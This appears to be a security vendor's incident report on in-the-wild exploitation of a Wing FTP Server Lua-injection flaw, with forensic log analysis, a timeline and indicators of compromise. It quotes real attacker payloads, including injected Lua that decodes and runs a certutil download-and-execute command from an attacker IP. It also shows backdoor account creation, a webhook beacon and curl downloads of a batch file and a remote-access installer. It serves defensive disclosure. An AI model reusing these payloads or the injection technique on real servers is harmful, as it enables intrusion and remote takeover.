Wing FTP Server Remote Code Execution (CVE-2025-47812) Exploited in the Wild

Glitch effectGlitch effectGlitch effect
Glitch banner

Summary

TL;DR: Huntress saw active exploitation of Wing FTP Server remote code execution (CVE-2025-47812) on a customer on July 1, 2025. Organizations running Wing FTP Server should update to the fixed version, version 7.4.4, as soon as possible.

CVE-2025-47812 is a null byte and Lua injection flaw that can lead to root/SYSTEM-level remote code execution if exploited. The vulnerability was first publicly disclosed on June 30 by Julien Ahrens in versions prior to 7.4.4 of the Wing FTP Server, its file transfer protocol software for Windows, Linux, and macOS.

At a high level, CVE-2025-47812 stems from how null bytes are handled in the username parameter (specifically related to the loginok.html file, which handles the authentication process). This can allow remote attackers to perform Lua injection after using the null byte in the username parameter. 

Huntress first observed exploitation on a customer on July 1, 2025, just a day after the initial write-up was published. Exploitation activity underneath the Wing FTP server process WFTPServer.exe began to ramp up at 16:15 UTC and is further detailed in our technical analysis below.


Figure 1: Process tree for the incident showing the involvement of WFTPServer.exe


Technical analysis

CVE-2025-47812 is centered primarily around the ability for an adversary to craft a specific input in Lua, the programming language responsible for the handling of the sessions created on Wing FTP. Sessions typically store the user's current directory, IP address, and username. By taking advantage of the null-byte injection, the adversary disrupts the anticipated input in the Lua file which stores these session characteristics. Further details of the vulnerability can be found in RCE Security’s write-up.

Huntress security researchers recreated a proof-of-concept exploit for this vulnerability, and a video demonstration is shown below:


The attack chain relies on a few specific components:

  1. A login attempt is made against the loginok.html endpoint via POST request. 
    1. To create a session that is stored, the attacker must use an account that either has known credentials, or (if enabled) an anonymous account without a password so they can perform a proper authentication process.
  2. The username field is appended with a %00 null-byte, to break the string processing of the username for login, but inject follow-on characters to be interpreted as Lua code.
    1. This includes two closing square braces “]]” to close the syntax and keep that intact for the session object file, and newlines to inject new malicious Lua code.
    2. The username payload ends with two hyphens to comment out the original “]]” that would be leftover from the intended session object file.
  3. The Lua code is now injected into the session object files must be triggered by the application naturally deserializing that data -- which is done by another request to any other website page like dir.html

Logs for this activity can be found within the Wing FTP installation folder:

C:\Program Files (x86)\Wing FTP Server\Log\

Wing FTP organizes its logs into three folders:

  1. Admin
  2. System
  3. Domain

Evidence of exploitation can be found in logs within the “Domain” folder, but note that Wing FTP separates logs by the different domain names that this server handles, so the subdirectory name underneath this path varies. The logs are saved with a date format YYYY-M-D.log.

For example, a log entry from this proof-of-concept exploitation would be in the path:

C:\Program Files (x86)\Wing FTP Server\Log\Domains\wingftp.local\2025-7-7.log 

With the contents:

[01] Mon, 07 Jul 2025 12:51:23 Domain has been started.
[01] Mon, 07 Jul 2025 12:51:24 FTP server starts listening on port 21. 

[01] Mon, 07 Jul 2025 12:51:24 FTPS server starts listening on port 990.

[01] Mon, 07 Jul 2025 12:51:24 HTTP server starts listening on port 80. 

[01] Mon, 07 Jul 2025 12:51:24 HTTPS server starts listening on port 443.

[06] Mon, 07 Jul 2025 12:56:26 (0000001) User 'anonymous

Using this log file alone, the only line that is indicative of exploitation is the truncated entry:

User ‘anonymous

Note the missing closing single-quote—this is the null-byte breaking the entry in the log file. In this case, the anonymous user was targeted because it didn't need credentials to log in, but any other valid username with a correct password could be used to create a session and leverage this vulnerability.

For a normal login, not an artifact of exploitation, that log entry naturally looks like:

User 'anonymous' logged in ok! (IP:::1)

…. including the IP address of the authenticating client. Unfortunately, that detail is truncated when the log is generated from an exploitation attempt—however, the IP address will be included in the session object files themselves!

You may also find a log entry stating:

List ok

This is from a user listing files on the FTP service, like when they visit dir.html. While this can be utilized in the attack chain and exploit, bear in mind the adversary could choose any other endpoint or functionality to trigger Wing FTP to load the stored session info.

The best source of truth to identify exploitation is reviewing the session object files themselves, named with 64 hexadecimal character filenames and .lua file extensions in this directory:

C:\Program Files (x86)\Wing FTP Server\session


Forensic artifacts

Since every interaction with a machine will ultimately leave some type of artifacts, we began analyzing the sessions currently stored on the compromised host. Several sessions stood out to us as anomalous, chiefly due to file size. The data stored in these sessions is relatively small, so inflated file sizes indicate the inclusion of additional information.

A typical session file may look as such:

_SESSION['username']=[[johndoe]]
_SESSION['ipaddress']=[[123.123.123.123]]

_SESSION['currentpath']=[[/]]

To contrast, our adversary passed a valid Lua function that contained a hex-encoded command, which is decoded and passed to Windows' cmd.exe:

_SESSION['username']=[[anonymous]]
local function hx(s) 
  return (s:gsub('..', function(x)
    return string.char(tonumber(x,16)) 
  end)) 
end
local cmd = hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865")
local h = io.popen(cmd)
local r = h:read("*a")
h:close()
--]]
_SESSION['ipaddress']=[[185[.]196[.]9[.]225]]
_SESSION['currentpath']=[[/]]

If we decode the hex blob in the hx() function above using Python, we get the following command, which was attempted to execute on the host:

% python3 -c 'print(bytes.fromhex("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865").decode("ascii"))'

certutil -urlcache -f http://185.196.9.225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe

The main takeaway here is that while some of the fields remained similar to that which we saw in a normal session file, most of the function code stands out as something to investigate further. 


Attack details

Observed attacker tradecraft

Early in the morning, around 8:43 am UTC, the first of several different attackers began scoping to see if they could connect to the victim’s machine. They made several connection attempts within a 12-minute time span. Almost an hour later, connections began from a second IP address, attempting several connection attempts.


Figure 2: Timeline of first series of the attacks


At this point, there was a bit of silence on the machine for a span of about six hours before the next attack began. Through examining a combination of process executions, Lua files, and log data, we were able to piece together a timeline of the attackers’ activities. It seems like the attacker (the fourth one we had seen this day) had a difficult time running some commands, maybe due to their unfamiliarity with them, or because Microsoft Defender stopped part of their attack.

We observed a number of enumeration and reconnaissance commands at around 16:15 UTC:

  • C:\WINDOWS\system32\cmd.exe /c ipconfig
  • C:\WINDOWS\system32\cmd.exe /c curl
  • C:\WINDOWS\system32\cmd.exe /c arp -a
  • C:\WINDOWS\system32\cmd.exe /c curl -help
  • C:\WINDOWS\system32\cmd.exe /c whoami
  • C:\WINDOWS\system32\cmd.exe /c nslookup
  • C:\WINDOWS\system32\cmd.exe /c whoami -all

We also observed the adversary creating new users for persistence:

  • C:\WINDOWS\system32\cmd.exe /c net user wingftp 123123qweqwe /add
  • C:\WINDOWS\system32\cmd.exe /c net user wing 123123qweqweqwe /add
  • C:\WINDOWS\system32\cmd.exe /c net user wing 123123qweqweq /add

They then seemed to check on details of users, perhaps to verify that their newly created users were there, and privilege information (in addition to a random arp -a command):

  • C:\WINDOWS\system32\cmd.exe /c net user
  • C:\WINDOWS\system32\cmd.exe /c net user /all
  • C:\WINDOWS\system32\cmd.exe /c whoami
  • C:\WINDOWS\system32\cmd.exe /c net user wing
  • C:\WINDOWS\system32\cmd.exe /c arp -a
  • C:\WINDOWS\system32\cmd.exe /c priv //all
  • C:\WINDOWS\system32\cmd.exe /c priv /all
  • C:\WINDOWS\system32\cmd.exe /c whoami priv /all
  • C:\WINDOWS\system32\cmd.exe /c whoami /priv

The commands that followed were poorly constructed and failed. As seen in the following figure, the attacker tried to run an executable whose path was (errantly) c:^A.exe, where ^A represents the “Start of Heading” (SOH) character. It’s unclear how or why they even managed to type that out. There were also tabs in the paths for the test file where they had redirected their output for some reason, which resulted in failure:


Figure 3: Visual of just how badly typed some of these commands were



Figure 4: Confirming this typo with a hex editor, the SOH character is highlighted


The attacker then began continued “reconnaissance,” or more likely tried to test their access:

C:\WINDOWS\system32\cmd.exe /c powershell -c get-childitem c: | out-file c:dir.txt -encoding ascii; type c:dir.txt

The actor tested the use of curl, looked up how to use it, and actually tried to connect to a webhook site to track infections (which we verified was actually successful):

  • C:\WINDOWS\system32\cmd.exe /c curl
  • C:\WINDOWS\system32\cmd.exe /c curl -help
  • C:\WINDOWS\system32\cmd.exe /c curl -s -d con https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81 > nul

While the webhook endpoint is now expired and offline, we could see the connection made from the target host, including the “con” keyword used as POST form data.


Figure 5: View of webhook showing the victim’s machine had successfully connected


After a couple more whoami commands, the attacker then tried to run a batch file, which failed since it wasn’t yet on the system. This made them check which user they were, yet again:

  • C:\WINDOWS\system32\cmd.exe /c whoami
  • C:\WINDOWS\system32\cmd.exe /c whoami /all
  • C:\WINDOWS\system32\cmd.exe /c cmd.exe/c c:/1.bat
  • C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat
  • C:\WINDOWS\system32\cmd.exe /c whoami

A Lua file appeared on the system, which would have effectively downloaded the aforementioned missing batch file, except that they messed up the curl command. Also, the dir command that was included at the end is not a binary, but a built-in command internal to cmd.exe, so it wouldn’t have worked here either (a common mistake made by rookie attackers):

--]]t(r)) h:read(""*a"")rl -o c:\1.bat
https://pastebin.com/raw/vqqtr8mg& dir c:\"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]

They then tried to run their batch file one more time. This must have been frustrating for them when it didn’t work:

C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat


Figure 6: Attacker (probably) trying to figure out why they are failing


At this point, they opted for installing ScreenConnect, for a better experience that might have made them more successful. There was a Lua file to download the installer that appeared at this time on the system:

local h = io.popen(""curl -o c:\1.msi https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e]]
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]

We recovered the MSI file from the download link, and extracted the connection string from it: instance-y9tbyl-relay.screenconnect[.]com. There was no evidence that they tried to run the MSI file or that ScreenConnect was installed. At this point, they may have “phoned a friend” since another attacker connected to the machine, as evidenced by Lua files with a different IP address. (This was the fifth attacker seen on this machine.)

The (fourth) attacker then ran PowerShell, but sadly, whatever they were trying to run in PowerShell crashed, as found in the Application Event Log (ID 1001):

C:\WINDOWS\system32\cmd.exe /c powershell.exe

So then they tried to run another beacon instead, as seen by the following Lua file:

local cmd = hx(""636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e657865202620737461--]]ose() h:read(""*a""))55c6d76766569574a48782e657865"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]

As we mentioned earlier in this blog, this command is essentially downloading and execute the beacon using certutil:

certutil -urlcache -f http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe

Unfortunately for the attacker, Microsoft Defender ate the resulting file before they could run it, and an alert with the following name was sent: Trojan:Win32/Ceprolad.A. At this point, WFTPServer.exe crashed, and disconnected the attackers, which was seen by the WerFault.exe process starting, against the PID of the WFTPServer.exe process, as well as entries at the same time in the Application Event Log with IDs 1000, and 1001, for WFTPServer.exe.

C:\WINDOWS\system32\WerFault.exe -u -p 3792 -s 4744

Thus concluded the painful journey of these attackers, as the machine was also isolated shortly afterwards.


Figure 7: Huntress Managed EDR and Microsoft Defender, after thwarting some wannabe attackers 


Despite the threat actors’ unavailing activity, this incident shows that CVE-2025-47812 is being actively targeted at this point. While we’ve only seen exploitation activity on one customer as of July 8, 2025, organizations can best protect themselves by updating to version 7.4.4. 

Special thanks to analysts, researchers, and all involved in response to this incident and their contributions to this blog: Tanner Filip, Matt Anderson, Craig Sweeney, and Alden Schmidt.


Sigma rules


Command Shell from Wing FTP Server



IOCs

Item

Description

223.160.131[.]104

1st Attacker IP

149.248.44[.]88

2nd Attacker IP

103.88.141[.]42

3rd Attacker IP

185.196.9[.]225

4th (Bumbling) Attacker IP

146.70.11[.]39

5th Attacker IP

https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81

Webhook site

123123qweqwe

Password used for attacker accounts

123123qweqweq

Password used for one attacker account

wing  

Backdoor username created by attacker

wingftp

Backdoor username created by attacker

URL: http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\\mvveiWJHx.exe

PATH: %TEMP%\\mvveiWJHx.exe


SHA256: c637ec00bd22da4539ec6def89cd9f7196a303d17632b1131a89d65e4f5698f4

Beacon 

Trojan:Win32/Ceprolad.A

Microsoft Defender detection

URL: https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi


PATH: c:\1.msi

SHA256: f0fcc638cd93bdd6fb4745d75b491395a7a1b2cb08e0153a2eb417cb2f58d8ac

ScreenConnect installer

instance-y9tbyl-relay.screenconnect[.]com

ScreenConnect callback url




Categories
Share

Sign Up for Huntress Updates

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

By submitting this form, you accept our Terms of Service & Privacy Policy
Oops! Something went wrong while submitting the form.
Huntress at work